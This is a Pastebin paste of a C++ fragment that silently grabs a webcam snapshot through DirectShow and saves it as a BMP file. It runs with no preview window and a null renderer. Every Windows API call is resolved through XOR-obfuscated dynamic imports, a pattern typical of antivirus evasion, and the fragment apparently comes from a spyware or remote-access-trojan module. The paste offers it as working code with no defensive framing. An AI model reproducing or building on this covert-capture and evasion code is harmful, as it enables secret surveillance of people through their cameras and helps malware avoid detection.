Advertisement
Guest User

Untitled

a guest
Feb 21st, 2019
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 8.66 KB | None | 0 0
  1. try
  2.     {
  3.         // DirectShow objects
  4.         HRESULT hr;
  5.         ICreateDevEnum *pDevEnum = NULL;
  6.         IEnumMoniker *pEnum = NULL;
  7.         IMoniker *pMoniker = NULL;
  8.         IPropertyBag *pPropBag = NULL;
  9.         IGraphBuilder *pGraph = NULL;
  10.         ICaptureGraphBuilder2 *pBuilder = NULL;
  11.         IBaseFilter *pCap = NULL;
  12.         IBaseFilter *pSampleGrabberFilter = NULL;
  13.         ISampleGrabber *pSampleGrabber = NULL;
  14.         IBaseFilter *pNullRenderer = NULL;
  15.         IMediaControl *pMediaControl = NULL;
  16.         char *pBuffer = NULL;
  17.  
  18.         int snapshot_delay = 2000;
  19.         int show_preview_window = 0;
  20.         int list_devices = 0;
  21.         int device_number = 1;
  22.         char device_name[100];
  23.         char filename[100];
  24.  
  25.         char char_buffer[100];
  26.  
  27.         strcpy(device_name, "");
  28.         strcpy(filename, output_path.c_str());
  29.  
  30.         // Intialise COM
  31.         hr = FNC(CoInitializeEx, XOR("Ole32.dll"))(NULL, COINIT_MULTITHREADED);
  32.         if (hr != S_OK)
  33.         {
  34.             WEBCAMEND
  35.         }
  36.  
  37.         // Create filter graph
  38.         hr = FNC(CoCreateInstance, XOR("Ole32.dll"))(CLSID_FilterGraph, NULL,
  39.             CLSCTX_INPROC_SERVER, IID_IGraphBuilder,
  40.             (void**)&pGraph);
  41.         if (hr != S_OK)
  42.         {
  43.             WEBCAMEND
  44.         }
  45.  
  46.         // Create capture graph builder.
  47.         hr = FNC(CoCreateInstance, XOR("Ole32.dll"))
  48.             (CLSID_CaptureGraphBuilder2, NULL,
  49.                 CLSCTX_INPROC_SERVER, IID_ICaptureGraphBuilder2,
  50.                 (void **)&pBuilder);
  51.         if (hr != S_OK)
  52.         {
  53.             WEBCAMEND
  54.         }
  55.  
  56.         // Attach capture graph builder to graph
  57.         hr = pBuilder->SetFiltergraph(pGraph);
  58.         if (hr != S_OK)
  59.         {
  60.             WEBCAMEND
  61.         }
  62.  
  63.         // Create system device enumerator
  64.         hr = FNC(CoCreateInstance, XOR("Ole32.dll"))(CLSID_SystemDeviceEnum, NULL,
  65.             CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&pDevEnum));
  66.         if (hr != S_OK)
  67.         {
  68.             WEBCAMEND
  69.         }
  70.  
  71.         // Video input device enumerator
  72.         hr = pDevEnum->CreateClassEnumerator(
  73.             CLSID_VideoInputDeviceCategory, &pEnum, 0);
  74.         if (hr != S_OK)
  75.         {
  76.             WEBCAMEND
  77.         }
  78.  
  79.         int n;
  80.  
  81.         // Get moniker for specified video input device,
  82.         // or for the first device if no device number
  83.         // was specified.
  84.         VARIANT var;
  85.         n = 0;
  86.         while (1)
  87.         {
  88.             // Access next device
  89.             if (pEnum != 0)
  90.                 hr = pEnum->Next(1, &pMoniker, NULL);
  91.             if (hr == S_OK)
  92.                 ++n; // increment device count
  93.             else
  94.             {
  95.                 WEBCAMEND
  96.             }
  97.  
  98.             // If device was specified by name rather than number...
  99.             if (device_number == 0)
  100.             {
  101.                 // Get video input device name
  102.                 hr = pMoniker->BindToStorage(0, 0, IID_PPV_ARGS(&pPropBag));
  103.                 if (hr == S_OK)
  104.                 {
  105.                     // Get current device name
  106.                     FNC(VariantInit, XOR("OleAut32.dll"))(&var);
  107.                     hr = pPropBag->Read(L"FriendlyName", &var, 0);
  108.  
  109.                     // Convert to a normal C string, i.e. char*
  110.                     sprintf(char_buffer, "%ls", var.bstrVal);
  111.                     FNC(VariantClear, XOR("OleAut32.dll"))(&var);
  112.                     pPropBag->Release();
  113.                     pPropBag = NULL;
  114.  
  115.                     // Exit loop if current device name matched devname
  116.                     if (strcmp(device_name, char_buffer) == 0)
  117.                         break;
  118.                 }
  119.                 else
  120.                 {
  121.                     WEBCAMEND
  122.                 }
  123.             }
  124.             else if (n >= device_number)
  125.                 break;
  126.         }
  127.  
  128.         // Get video input device name
  129.         hr = pMoniker->BindToStorage(0, 0, IID_PPV_ARGS(&pPropBag));
  130.         FNC(VariantInit, XOR("OleAut32.dll"))(&var);
  131.         hr = pPropBag->Read(L"FriendlyName", &var, 0);
  132.         //fprintf(stderr, "Capture device: %ls\n", var.bstrVal);
  133.         FNC(VariantClear, XOR("OleAut32.dll"))(&var);
  134.  
  135.         // Create capture filter and add to graph
  136.         hr = pMoniker->BindToObject(0, 0,
  137.             IID_IBaseFilter, (void**)&pCap);
  138.         if (hr != S_OK)
  139.         {
  140.             WEBCAMEND
  141.         }
  142.         // Add capture filter to graph
  143.         hr = pGraph->AddFilter(pCap, L"Capture Filter");
  144.         if (hr != S_OK)
  145.         {
  146.             WEBCAMEND
  147.         }
  148.         // Create sample grabber filter
  149.         hr = FNC(CoCreateInstance, XOR("Ole32.dll"))(CLSID_SampleGrabber, NULL,
  150.             CLSCTX_INPROC_SERVER, IID_IBaseFilter,
  151.             (void**)&pSampleGrabberFilter);
  152.         if (hr != S_OK)
  153.         {
  154.             WEBCAMEND
  155.         }
  156.  
  157.         // Query the ISampleGrabber interface of the sample grabber filter
  158.         hr = pSampleGrabberFilter->QueryInterface(
  159.             IID_ISampleGrabber, (void**)&pSampleGrabber);
  160.         if (hr != S_OK)
  161.         {
  162.             WEBCAMEND
  163.         }
  164.  
  165.         // Enable sample buffering in the sample grabber filter
  166.         hr = pSampleGrabber->SetBufferSamples(TRUE);
  167.         if (hr != S_OK)
  168.         {
  169.             WEBCAMEND
  170.         }
  171.  
  172.         // Set media type in sample grabber filter
  173.         AM_MEDIA_TYPE mt;
  174.         ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE));
  175.         mt.majortype = MEDIATYPE_Video;
  176.         mt.subtype = MEDIASUBTYPE_RGB24;
  177.         hr = pSampleGrabber->SetMediaType((_AMMediaType *)&mt);
  178.         if (hr != S_OK)
  179.         {
  180.             WEBCAMEND
  181.         }
  182.         // Add sample grabber filter to filter graph
  183.         hr = pGraph->AddFilter(pSampleGrabberFilter, L"SampleGrab");
  184.         if (hr != S_OK)
  185.         {
  186.             WEBCAMEND
  187.         }
  188.  
  189.         // Create Null Renderer filter
  190.         hr = FNC(CoCreateInstance, XOR("Ole32.dll"))(CLSID_NullRenderer, NULL,
  191.             CLSCTX_INPROC_SERVER, IID_IBaseFilter,
  192.             (void**)&pNullRenderer);
  193.         if (hr != S_OK)
  194.         {
  195.             WEBCAMEND
  196.         }
  197.  
  198.         // Add Null Renderer filter to filter graph
  199.         hr = pGraph->AddFilter(pNullRenderer, L"NullRender");
  200.         if (hr != S_OK)
  201.         {
  202.             WEBCAMEND
  203.         }
  204.  
  205.         // Connect up the filter graph's capture stream
  206.         hr = pBuilder->RenderStream(
  207.             &PIN_CATEGORY_CAPTURE, &MEDIATYPE_Video,
  208.             pCap, pSampleGrabberFilter, pNullRenderer);
  209.         if (hr != S_OK)
  210.         {
  211.             WEBCAMEND
  212.         }
  213.  
  214.         // Connect up the filter graph's preview stream
  215.         if (show_preview_window > 0)
  216.         {
  217.             hr = pBuilder->RenderStream(
  218.                 &PIN_CATEGORY_PREVIEW, &MEDIATYPE_Video,
  219.                 pCap, NULL, NULL);
  220.             if (hr != S_OK && hr != VFW_S_NOPREVIEWPIN)
  221.             {
  222.                 WEBCAMEND
  223.             }
  224.         }
  225.  
  226.         // Get media control interfaces to graph builder object
  227.         hr = pGraph->QueryInterface(IID_IMediaControl,
  228.             (void**)&pMediaControl);
  229.         if (hr != S_OK)
  230.         {
  231.             WEBCAMEND
  232.         }
  233.  
  234.         // Run graph
  235.         while (1)
  236.         {
  237.             hr = pMediaControl->Run();
  238.  
  239.             // Hopefully, the return value was S_OK or S_FALSE
  240.             if (hr == S_OK)
  241.                 break; // graph is now running
  242.             if (hr == S_FALSE)
  243.                 continue; // graph still preparing to run
  244.  
  245.             WEBCAMEND
  246.         }
  247.  
  248.         // Wait for specified time delay (if any)
  249.         //Sleep(snapshot_delay);
  250.  
  251.         // Grab a sample
  252.         // First, find the required buffer size
  253.         long buffer_size = 0;
  254.         while (1)
  255.         {
  256.             // Passing in a NULL pointer signals that we're just checking
  257.             // the required buffer size; not looking for actual data yet.
  258.             hr = pSampleGrabber->GetCurrentBuffer(&buffer_size, NULL);
  259.  
  260.             // Keep trying until buffer_size is set to non-zero value.
  261.             if (hr == S_OK && buffer_size != 0)
  262.                 break;
  263.  
  264.             // If the return value isn't S_OK or VFW_E_WRONG_STATE
  265.             // then something has gone wrong. VFW_E_WRONG_STATE just
  266.             // means that the filter graph is still starting up and
  267.             // no data has arrived yet in the sample grabber filter.
  268.             if (hr != S_OK && hr != VFW_E_WRONG_STATE)
  269.             {
  270.                 WEBCAMEND
  271.             }
  272.         }
  273.  
  274.         // Stop the graph
  275.         pMediaControl->Stop();
  276.  
  277.         // Allocate buffer for image
  278.         pBuffer = new char[buffer_size];
  279.         if (!pBuffer)
  280.         {
  281.             WEBCAMEND
  282.         }
  283.  
  284.         // Retrieve image data from sample grabber buffer
  285.         hr = pSampleGrabber->GetCurrentBuffer(
  286.             &buffer_size, (long*)pBuffer);
  287.         if (hr != S_OK)
  288.         {
  289.             WEBCAMEND
  290.         }
  291.  
  292.         // Get the media type from the sample grabber filter
  293.         hr = pSampleGrabber->GetConnectedMediaType(
  294.             (_AMMediaType *)&mt);
  295.         if (hr != S_OK)
  296.         {
  297.             WEBCAMEND
  298.         }
  299.  
  300.         // Retrieve format information
  301.         VIDEOINFOHEADER *pVih = NULL;
  302.         if ((mt.formattype == FORMAT_VideoInfo) &&
  303.             (mt.cbFormat >= sizeof(VIDEOINFOHEADER)) &&
  304.             (mt.pbFormat != NULL))
  305.         {
  306.             // Get video info header structure from media type
  307.             pVih = (VIDEOINFOHEADER*)mt.pbFormat;
  308.  
  309.             // Create bitmap structure
  310.             long cbBITMAPINFOSize = mt.cbFormat - SIZE_PREHEADER;
  311.             BITMAPFILEHEADER bfh;
  312.             ZeroMemory(&bfh, sizeof(bfh));
  313.             bfh.bfType = 'MB'; // Little-endian for "BM".
  314.             bfh.bfSize = sizeof(bfh) + buffer_size + cbBITMAPINFOSize;
  315.             bfh.bfOffBits = sizeof(BITMAPFILEHEADER) + cbBITMAPINFOSize;
  316.  
  317.             // Open output file
  318.             HANDLE hf = FNC(CreateFileA, XOR("Kernel32.dll"))(filename, GENERIC_WRITE,
  319.                 FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL);
  320.             if (hf == INVALID_HANDLE_VALUE)
  321.             {
  322.                 WEBCAMEND
  323.             }
  324.  
  325.             // Write the file header.
  326.             DWORD dwWritten = 0;
  327.             FNC(WriteFile, XOR("Kernel32.dll"))(hf, &bfh, sizeof(bfh), &dwWritten, NULL);
  328.             FNC(WriteFile, XOR("Kernel32.dll"))(hf, HEADER(pVih),
  329.                 cbBITMAPINFOSize, &dwWritten, NULL);
  330.  
  331.             FNC(WriteFile, XOR("Kernel32.dll"))(hf, pBuffer, buffer_size, &dwWritten, NULL);
  332.             FNC(CloseHandle, XOR("Kernel32.dll"))(hf);
  333.         }
  334.         else
  335.         {
  336.             WEBCAMEND
  337.         }
  338.  
  339.         // Free the format block
  340.         if (mt.cbFormat != 0)
  341.         {
  342.             FNC(CoTaskMemFree, XOR("Ole32.dll"))((PVOID)mt.pbFormat);
  343.             mt.cbFormat = 0;
  344.             mt.pbFormat = NULL;
  345.         }
  346.  
  347.         if (mt.pUnk != NULL)
  348.         {
  349.             // pUnk should not be used
  350.             mt.pUnk->Release();
  351.             mt.pUnk = NULL;
  352.         }
  353.  
  354.         WEBCAMEND
  355.     }
  356.     catch (...) { return; }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement